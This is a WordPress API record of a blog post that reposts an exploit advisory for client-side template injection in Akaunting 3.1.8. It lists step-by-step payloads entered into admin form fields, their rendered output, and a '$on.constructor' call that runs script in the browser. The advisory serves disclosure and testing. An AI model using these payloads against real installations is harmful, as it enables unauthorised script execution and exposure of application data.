{"id":57156,"date":"2024-05-30T15:11:44","date_gmt":"2024-05-30T11:11:44","guid":{"rendered":"https:\/\/packetstormsecurity.com\/files\/178867\/akaunting318-csti.txt"},"modified":"2024-05-30T15:11:44","modified_gmt":"2024-05-30T11:11:44","slug":"akaunting-3-1-8-client-side-template-injection","status":"publish","type":"post","link":"https:\/\/afaghhosting.net\/blog\/akaunting-3-1-8-client-side-template-injection\/","title":{"rendered":"Akaunting 3.1.8 Client-Side Template Injection"},"content":{"rendered":"<p># Exploit Title: Akaunting 3.1.8 &#8211; Client Side Template Injection CSTI<br \/># Exploit Author: tmrswrr<br \/># Date: 30\/05\/2024<br \/># Vendor: https:\/\/akaunting.com\/forum<br \/># Software Link: https:\/\/akaunting.com\/apps\/crm<br \/># Vulnerable Version(s): 3.1.8<\/p>\n<p>1 ) Login with admin cred and go to : Currencies &gt; New Currency<br \/>https:\/\/127.0.0.1\/Akaunting\/1\/settings\/currencies<br \/>2 ) Write SSTI payload : {{ Object.keys(this) }} Name field <br \/>3 ) Save it <br \/>4 ) You will be see result : <br \/>&#8220;_uid&#8221;, &#8220;_isVue&#8221;,<br \/>&#8220;__v_skip&#8221;, &#8220;_scope&#8221;,<br \/>&#8220;$options&#8221;, &#8220;_renderProxy&#8221;,<br \/>&#8220;_self&#8221;, &#8220;$parent&#8221;,<br \/>&#8220;$root&#8221;, &#8220;$children&#8221;,<br \/>&#8220;$refs&#8221;,<\/p>\n<p>&gt; {{ this.$root.$data }}<br \/>&gt; &#8220;form&#8221;: {},<br \/>&#8220;bulk_action&#8221;: {<br \/>&#8220;path&#8221;: &#8220;currencies&#8221;,<br \/>&#8220;count&#8221;: &#8220;&#8221;,<br \/>&#8220;value&#8221;: &#8220;*&#8221;,<br \/>&#8220;message&#8221;: &#8220;&#8221;,<br \/>&#8220;type&#8221;: &#8220;&#8221;,<br \/>&#8220;show&#8221;: false,<br \/>&#8220;modal&#8221;: false,<br \/>&#8220;loading&#8221;: false,<br \/>&#8220;selected&#8221;: [],<\/p>\n<p>&gt; {{ Object.keys(this._self) }}<br \/>&gt; &#8220;_uid&#8221;,<br \/>&#8220;_isVue&#8221;,<br \/>&#8220;__v_skip&#8221;,<br \/>&#8220;_scope&#8221;,<br \/>&#8220;$options&#8221;,<br \/>&#8220;_renderProxy&#8221;,<br \/>&#8220;_self&#8221;,<br \/>&#8220;$parent&#8221;,<br \/>&#8220;$root&#8221;,<br \/>&#8220;$children&#8221;,<br \/>&#8220;$refs&#8221;,<\/p>\n<p>&gt; {{$on.constructor(&#8216;alert(1)&#8217;)()}}<br \/>&gt; You will be see alert box<\/p>\n<p>=======================================================================================<\/p>\n<p>1 ) Login with admin cred and go to : Items &gt; New Item<br \/>https:\/\/127.0.0.1\/Akaunting\/1\/common\/items<br \/>2 ) Write SSTI payload : {{7*7}} Name field , write Sale and Purchase Price random numbers<br \/>3 ) Save it <br \/>4 ) You will be see result : <br \/>49<\/p>\n<p>====================================================================================<\/p>\n<p>1 ) Login with admin cred and go to :Settings &gt; Taxes &gt; New Tax<br \/>https:\/\/127.0.0.1\/Akaunting\/1\/settings\/taxes\/1\/edit<br \/>2 ) Write SSTI payload : {{7*7}} Name field , write Sale and Purchase Price random numbers<br \/>3 ) Save it <br \/>4 ) You will be see result : <br \/>49<br \/>&gt; {{&#8216;a&#8217;.toUpperCase()}}<br \/>&gt; A<br \/>&gt; {{&#8216;a&#8217;.concat(&#8216;b&#8217;)}}<br \/>&gt; ab<br \/>====================================================================================<\/p>\n<p>1 ) Login with admin cred and go to : Banking &gt; Transactions &gt; New Income<br \/>https:\/\/127.0.0.1\/Akaunting\/1\/banking\/transactions\/create?type=income<br \/>2 ) Write SSTI payload : {{7*7}} Description field<br \/>3 ) Save it <br \/>4 ) You will be see result : <br \/>49<br \/>&gt; {{&#8216;a&#8217;.toUpperCase()}}<br \/>&gt; A<br \/>&gt; {{&#8216;a&#8217;.concat(&#8216;b&#8217;)}}<br \/>&gt; ab<\/p>\n<p>=======================================================================================<\/p>\n<p>1 ) Login with admin cred<br \/>https:\/\/127.0.0.1\/Akaunting\/1\/purchases\/vendors\/1\/edit<br \/>2 ) Write SSTI payload : {{7*7}} Name field<br \/>3 ) Save it <br \/>4 ) You will be see result : <br \/>49<br \/>&gt; {{&#8216;a&#8217;.toUpperCase()}}<br \/>&gt; A<br \/>&gt; {{&#8216;a&#8217;.concat(&#8216;b&#8217;)}}<br \/>&gt; ab<br \/>&gt; {{self}}<br \/>&gt; <\/p>\n","protected":false},"excerpt":{"rendered":"<p># Exploit Title: Akaunting 3.1.8 &#8211; Client Side Template Injection CSTI# Exploit Author: tmrswrr# Date: 30\/05\/2024# Vendor: https:\/\/akaunting.com\/forum# Software Link: https:\/\/akaunting.com\/apps\/crm# Vulnerable Version(s): 3.1.8 1 ) Login with admin cred and go to : Currencies &gt; New Currencyhttps:\/\/127.0.0.1\/Akaunting\/1\/settings\/currencies2 ) Write SSTI payload : {{ Object.keys(this) }} Name field 3 ) Save it 4 ) You &hellip;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-57156","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57156","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=57156"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/57156\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=57156"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=57156"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=57156"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}